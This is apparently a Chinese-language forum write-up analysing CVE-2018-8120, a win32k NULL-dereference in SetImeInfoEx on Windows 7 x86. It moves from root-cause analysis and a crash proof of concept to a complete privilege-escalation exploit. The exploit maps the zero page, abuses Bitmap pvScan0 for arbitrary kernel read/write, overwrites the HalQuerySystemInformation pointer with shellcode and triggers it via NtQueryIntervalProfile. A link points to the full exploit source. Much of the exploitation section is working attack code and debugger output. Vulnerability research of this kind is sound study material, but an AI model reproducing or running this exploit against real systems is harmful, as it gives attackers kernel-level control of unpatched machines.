一.前言
1.漏洞描述
该漏洞存在与win32k模块中的SetImeInfoEx函数,在该函数中未对tagWINDOWSTATION结构偏移0x14的spkiList进行有效性验证就对其进行解引用操作,而spkList可以为NULL,此时就会对地址0x14进行解引用操作,导致系统崩溃。通过在0地址申请内存的方式可以绕过解引用产生的系统崩溃,函数会继续向下运行执行写操作,通过这个写操作来修改BitMap对象的pvScan0来实现任意地址读写,最终完成提权。
2.实验环境
操作系统:Win7 x86 sp1 专业版
编译器:Visual Studio 2017
调试器:IDA Pro,WinDbg
二.漏洞分析
1.漏洞成因
SetImeInfoEx函数的反汇编结果如下:
图1 SetImeInfoEx函数反汇编
第1处的代码是取出参数pWinStation偏移0x14处的内容,参数pWinStation是tagWINDOWSTATION结构,该结构体定义如下:
2: kd> dt win32k!tagWINDOWSTATION
+0x000 dwSessionId : Uint4B
+0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION
+0x008 rpdeskList : Ptr32 tagDESKTOP
+0x00c pTerm : Ptr32 tagTERMINAL
+0x010 dwWSF_Flags : Uint4B
+0x014 spklList : Ptr32 tagKL
+0x018 ptiClipLock : Ptr32 tagTHREADINFO
+0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
+0x020 spwndClipOpen : Ptr32 tagWND
+0x024 spwndClipViewer : Ptr32 tagWND
+0x028 spwndClipOwner : Ptr32 tagWND
+0x02c pClipBase : Ptr32 tagCLIP
+0x030 cNumClipFormats : Uint4B
+0x034 iClipSerialNumber : Uint4B
+0x038 iClipSequenceNumber : Uint4B
+0x03c spwndClipboardListener : Ptr32 tagWND
+0x040 pGlobalAtomTable : Ptr32 Void
+0x044 luidEndSession : _LUID
+0x04c luidUser : _LUID
+0x054 psidUser : Ptr32 Void
偏移0x14处的成员是spkList,该成员指向tagKL结构,结构体定义如下:
2: kd> dt win32k!tagKL
+0x000 head : _HEAD
+0x008 pklNext : Ptr32 tagKL
+0x00c pklPrev : Ptr32 tagKL
+0x010 dwKL_Flags : Uint4B
+0x014 hkl : Ptr32 HKL__
+0x018 spkf : Ptr32 tagKBDFILE
+0x01c spkfPrimary : Ptr32 tagKBDFILE
+0x020 dwFontSigs : Uint4B
+0x024 iBaseCharset : Uint4B
+0x028 CodePage : Uint2B
+0x02a wchDiacritic : Wchar
+0x02c piiex : Ptr32 tagIMEINFOEX
+0x030 uNumTbl : Uint4B
+0x034 pspkfExtra : Ptr32 Ptr32 tagKBDFILE
+0x038 dwLastKbdType : Uint4B
+0x03c dwLastKbdSubType : Uint4B
+0x040 dwKLID : Uint4B
获取spkList后,就在第2处进行对spkList偏移0x14处的地址进行解引用操作。可是,在执行2处的代码之前,函数并没有验证spkList是否合法。如果spkList为NULL,那么此时2处的代码就是对地址0x14进行解引用,因为0x14不是个合法地址,就回导致系统崩溃。
2.漏洞验证
要验证这个漏洞,需要两个步骤,首先这个漏洞是由于SetImeInfoEx函数对tagWINDOWSTATION结构体中的spkList成员操作产生的,需要首先调用函数CreateWindowStation来创建一个tagWINDOWSTATION结构体,该函数定义如下:
HWINSTA WINAPI CreateWindowStation(
__in_opt LPCTSTR lpwinsta,
DWORD dwFlags,
__in ACCESS_MASK dwDesiredAccess,
__in_opt LPSECURITY_ATTRIBUTES lpsa);
创建完结构体以后,需要通过SetProcessWindowStation来为当前进程设置创建的tagWINDOWSTATION,该函数定义如下:
BOOL WINAPI SetProcessWindowStation(
__in HWINSTA hWinSta);
为当前进程设置完结构体以后,就可以来触发漏洞,通过IDA交叉引用可以发现,只有NtUserSetImeInfoEx函数调用了SetImeInfoEx函数,该函数的反汇编结果如下:
在第1处,函数将参数内容复制到imeInfoEx中作为调用SetImeInfoEx函数的第二个参数,在2处通过调用GetProcessWindowStation来作为调用SetImeInfoEx函数的第一个参数。那么此时,第一个参数就是创建的tagWINDOWSTATION,第二个参数通过调用NtUserSetImeInfoEx时指定,也就是可以由我们来指定。
NtUserSetImeInfoEx函数是未导出函数,所以只能通过自己指定调用号产生系统调用来调用该函数,而NtUserSetImeInfoEx函数的调用号为0x1226,所以,可以使用如下代码来调用NtUserSetImeInfoEx函数:
BOOL __declspec(naked) CallNtUserSetImeInfoEx(PVOID arg0)
{
__asm
{
mov esi, arg0
mov eax, 0x1226 // NtUserSetImeInfoEx的调用号
mov edx, 0x7FFE0300
call dword ptr[edx]
ret 4
}
}
由此,可以写出如下的POC:
BOOL POC_CVE_2018_8120()
{
BOOL bRet = TRUE;
HWINSTA hSta = NULL;
// 创建tagWINDOWSTATION结构体
hSta = CreateWindowStation(NULL, 0, READ_CONTROL, NULL);
if (hSta == NULL)
{
ShowError("CreateWindowStation", GetLastError());
bRet = FALSE;
goto exit;
}
// 将创建的结构体设置到本进程中
if (!SetProcessWindowStation(hSta))
{
ShowError("SetProcessWindowStation", GetLastError());
bRet = FALSE;
goto exit;
}
char szBuf[0x15C] = { 0 };
CallNtUserSetImeInfoEx((PVOID)szBuf);
exit:
return bRet;
}
编译运行POC,此时系统就会崩溃,崩溃信息如下,可以看到,产生崩溃的指令是在对[eax+0x14]的地址进行解引用产生的,这条指令就对应图1中的第2处的代码,此时寄存器eax的值为0,所以执行这条指令时,会对0x14地址进行解引用,该地址是并不是有效地址,就导致了系统的崩溃。
nt!RtlpBreakWithStatusInstruction:
83e95110 cc int 3
kd> g
KDTARGET: Refreshing KD connection
Access violation - code c0000005 (!!! second chance !!!)
win32k!SetImeInfoEx+0x17:
969a007c 395014 cmp dword ptr [eax+14h],edx
3: kd> r eax
eax=00000000
3: kd> k
ChildEBP RetAddr
92085a90 969a003d win32k!SetImeInfoEx+0x17
92085c28 83e581ea win32k!NtUserSetImeInfoEx+0x65
92085c28 772870b4 nt!KiFastCallEntry+0x12a
0012fd98 0040105f ntdll!KiFastSystemCallRet
三.漏洞利用
1.利用原理
由上内容可知,之所以产生崩溃是因为地址0x14是无效地址,因此,可以通过在0地址申请内存的方式让该地址有效,这样执行图1的第2处代码的时候就不会产生系统的崩溃,继续向下执行。在执行图1的第5处的代码的时候,会产生写操作。函数会向spkList偏移0x2C处保存的地址进行写入操作,由于此时spkList为0,所以函数会向0x2C中保存的地址进行写入操作。写入的内容则由传入的参数决定,这个参数又可以在调用NtUserSetImeInfoEx函数时指定。因此,可以通过将地址0x2C赋值为保存了HalQuerySystemInformation函数地址的地址,在调用NtUserSetImeInfoEx函数时指定参数的前4字节为ShellCode地址的方式,来对保存HalQuerySystemInformation函数地址的地址中的内容修改为ShellCode的地址,这样通过NtQueryIntervalProfile函数就可以调用ShellCode。
根据上述思路,此时就可以用以下的代码来实现提权:
BOOL Trigger_CVE_2018_8120()
{
BOOL bRet = TRUE;
// 0地址分配内存
if (!AllocateZeroMemory())
{
bRet = FALSE;
goto exit;
}
// 获取保存HalQuerySystemInformation函数地址的地址
PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation();
if (!pHalQuerySystemInformation)
{
bRet = FALSE;
goto exit;
}
// 指定被写入的地址
*(PDWORD)(0x2C) = (DWORD)pHalQuerySystemInformation;
// 绕过while循环的验证
*(PDWORD)(0x14) = (DWORD)ShellCode_CVE_2018_8120;
char szBuf[0x15C] = { 0 };
// 指定要写入的内容是ShellCode的地址
*(PDWORD)szBuf = (DWORD)ShellCode_CVE_2018_8120;
// 触发漏洞
if (!CallNtUserSetImeInfoEx(szBuf))
{
ShowError("CallNtUserSetImeInfoEx", GetLastError());
bRet = FALSE;
goto exit;
}
// 调用NtQueryIntervalProfile
if (!CallNtQueryIntervalProfile())
{
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}
可是此时提权并不会成功,接下来通过WinDbg进行分析,首先运行到之前导致系统崩溃处的指令,也就是图1中第2处执行的代码,可以看到虽然此时eax依然为0,但是因为在0地址申请了内存,此时0x14地址是有效的,所以不会产生系统的崩溃。
3: kd> p
win32k!SetImeInfoEx+0x17:
96ac007c 395014 cmp dword ptr [eax+14h],edx
3: kd> r eax
eax=00000000
3: kd> p
win32k!SetImeInfoEx+0x1a:
96ac007f 740e je win32k!SetImeInfoEx+0x2a (96ac008f)
继续向下运行,就会执行到图1中第3处的代码,此时会将地址0x2C中保存的要修改的保存了HalQuerySystemInformation函数地址的地址赋值给eax,此时eax就不会为0,函数会继续运行。
3: kd> p
win32k!SetImeInfoEx+0x2a:
96ac008f 8b402c mov eax,dword ptr [eax+2Ch]
3: kd> p
win32k!SetImeInfoEx+0x2d:
96ac0092 85c0 test eax,eax
3: kd> r eax
eax=83f6f3fc
3: kd> p
win32k!SetImeInfoEx+0x2f:
96ac0094 74f2 je win32k!SetImeInfoEx+0x23 (96ac0088)
继续向下运行就会执行下面的判断指令,判断eax+0x48处保存的内容是否为0,如果不为0则会进行跳转,这两条指令对应的就是图1中的第4处代码。此时eax保存的是保存了HalQuerySystemInformation函数地址的地址,该地址偏移0x48处保存的内容并不为0,这样就跳过了memcpy函数的调用,不会成功执行写入操作,导致程序提权失败。
2.Bitmap
为了成功利用该漏洞,就需要通过BitMap来实现任意地址的读写操作。Bitmap对象的可以通过CreateBitmap函数创建,该函数定义如下:
HRESULT CreateBitmap(UINT uiWidth,
UINT uiHeight,
REFWICPixelFormatGUID pixelFormat,
WICBitmapCreateCacheOption option,
IWICBitmap **ppIBitmap);
当用户态程序通过CreateBitmap函数创建了一个Bitmap对象以后,就会在PEB结构中偏移0x094的成员GdiSharedHandleTable所指的结构体数组中增加一项该结构。
3: kd> dt _PEB
ntdll!_PEB
+0x000 InheritedAddressSpace : UChar
...
+0x090 ProcessHeaps : Ptr32 Ptr32 Void
+0x094 GdiSharedHandleTable : Ptr32 Void
+0x098 ProcessStarterHelper : Ptr32 Void
....
而GditSharedHandleTable所指的是GDICELL结构数组,该结构体定义如下:
typedef struct _GDICELL{
LPVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
LPVOID pUserAddress;
} GDICELL;
其中第一项pKernelAddress指向了SURFACE结构体,该结构体定义如下:
typedef struct _SURFACE
{
BASEOBJECT BaseObject;
SURFOBJ SurfObj;
//XDCOBJ * pdcoAA;
FLONG flags;
struct _PALETTE * const ppal; // Use SURFACE_vSetPalette to assign a palette
struct _EWNDOBJ *pWinObj;
union
{
HANDLE hSecureUMPD; // if UMPD_SURFACE set
HANDLE hMirrorParent;// if MIRROR_SURFACE set
HANDLE hDDSurface; // if DIRECTDRAW_SURFACE set
};
SIZEL sizlDim; /* For SetBitmapDimension(), do NOT use
to get width/height of bitmap, use
bitmap.bmWidth/bitmap.bmHeight for
that */
HDC hdc; // Doc in "Undocumented Windows", page 546, seems to be supported with XP.
ULONG cRef;
HPALETTE hpalHint;
/* For device-independent bitmaps: */
HANDLE hDIBSection;
HANDLE hSecure;
DWORD dwOffset;
//UINT unk_078;
/* reactos specific */
DWORD biClrImportant;
} SURFACE, *PSURFACE;
该结构体中保存的前两个成员的结构如下:
typedef struct _BASEOBJECT {
HANDLE hHmgr; 0x04
PVOID pEntry; 0x08
LONG cExclusiveLock; 0x0d
PW32THREAD Tid;0x10
}BASEOBJECT, *POBJ;
typedef struct _SURFOBJ {
DHSURF dhsurf;
HSURF hsurf;
DHPDEV dhpdev;
HDEV hdev;
SIZEL sizlBitmap;
ULONG cjBits;
PVOID pvBits;
PVOID pvScan0;
LONG lDelta;
ULONG iUniq;
ULONG iBitmapFormat;
USHORT iType;
USHORT fjBitmap;
} SURFOBJ;
其中SURFOBJ结构体中的pvScan0中保存的地址指向内核空间之中,在用户态可以通过GetBitmaps和SetBitmaps函数来对pvScan0指向的内核空间中的内容进行读写操作。此时可以创建两个Bitmap对象,分别是hWorker和hManager,这两个Bitmap对象对应的pvScan0分别是wpv和mpv。通过漏洞的任意地址读写的功能,可以将保存wpv的内存地址复制到mpv中,此时在hManager上调用SetBitmapBits就可以修改wpv中保存的数据,在这里将其修改为保存HalQuerySystemInformation函数地址的地址。此时在hWorker上调用SetBitmapBits就可以将HalQuerySystemInformation函数地址修改为ShellCode地址。
这种方式之所以能完成,也是因为此时mpv所指向的地址偏移0x48处的内容为0,另外,因此复制的时候会复制0x15C个字节,所以mpv后面的内容要保证不被修改,就需要在复制的源地址处进行正确的赋值。
此时,漏洞利用的代码如下:
BOOL Trigger_CVE_2018_8120()
{
BOOL bRet = TRUE;
HBITMAP hManger = NULL, hWorker = NULL;
DWORD dwBuf[0x60] = { 0x90 };
PVOID mpv = NULL, wpv = NULL;
PVOID pOrgAddr = NULL;
PVOID pTargetAddr = (PVOID)ShellCode_CVE_2018_8120;
// 0地址分配内存
if (!AllocateZeroMemory())
{
bRet = FALSE;
goto exit;
}
hManger = CreateBitmap(0x60, 1, 1, 32, dwBuf);
hWorker = CreateBitmap(0x60, 1, 1, 32, dwBuf);
if (!hManger || !hWorker)
{
ShowError("CreateBitmap", GetLastError());
bRet = FALSE;
goto exit;
}
mpv = GetPvScan(hManger);
wpv = GetPvScan(hWorker);
// 指定被写入的地址
*(PDWORD)(0x2C) = (DWORD)mpv;
// 绕过while循环的验证
*(PDWORD)(0x14) = (DWORD)wpv;
DWORD szBuf[0x15C / sizeof(DWORD)] = { 0 };
// 指定要写入的内容
szBuf[0] = (DWORD)wpv;
szBuf[1] = 0x180;
szBuf[2] = 0x1D95;
szBuf[3] = 6;
szBuf[4] = 0x10000;
szBuf[5] = 0x0;
szBuf[6] = 0x4800200;
// 触发漏洞
if (!CallNtUserSetImeInfoEx(szBuf))
{
ShowError("CallNtUserSetImeInfoEx", GetLastError());
bRet = FALSE;
goto exit;
}
// 获取保存HalQuerySystemInformation函数地址的地址
PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation();
if (!pHalQuerySystemInformation)
{
bRet = FALSE;
goto exit;
}
// 设置hManger的可修改地址为保存HalQuerySystemInformation函数地址的地址
SetBitmapBits(hManger, sizeof(PVOID), &pHalQuerySystemInformation);
// 获取可修改的地址中的内容
GetBitmapBits(hWorker, sizeof(PVOID), &pOrgAddr);
// 将可修改地址中的值修改为ShellCode地址
SetBitmapBits(hWorker, sizeof(PVOID), &pTargetAddr);
// 调用NtQueryIntervalProfile,执行ShellCode
if (!CallNtQueryIntervalProfile())
{
bRet = FALSE;
goto exit;
}
// 将可修改地址中的内容恢复回去
SetBitmapBits(hWorker, sizeof(PVOID), &pOrgAddr);
exit:
return bRet;
}
PVOID GetPvScan(HBITMAP hBitHandle)
{
DWORD dwGdiCellArray = GetGdiCellArray();
PGDICELL pGdiCell = (PGDICELL)(dwGdiCellArray + LOWORD(hBitHandle) * sizeof(GDICELL));
return (PVOID)((DWORD)pGdiCell->pKernelAddress + 0x30);
}
DWORD GetGdiCellArray()
{
__asm
{
mov eax, fs:[0x30] // eax = PEB
mov eax, [eax + 0x94] // eax = GDICELL数组首地址
}
}
此时在编译运行到图1的第4处验证,此时目标地址偏移0x48处的内容为0,函数不会发生跳转,接下去将执行复制操作。
随后的GetBitmapBits/SetBitmapBits就可以实现对HalQuerySystemInformation的修改,最终通过调用NtQueryIntervalProfile就会完成提权。
四.运行结果
完整的exp代码在:https://github.com/LegendSaber/exp/blob/master/exp/CVE-2018-8120.cpp
可以看到,运行exp以后会成功完成提权:
五.参考资料
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最后于 2022-7-13 15:27
被1900编辑
,原因: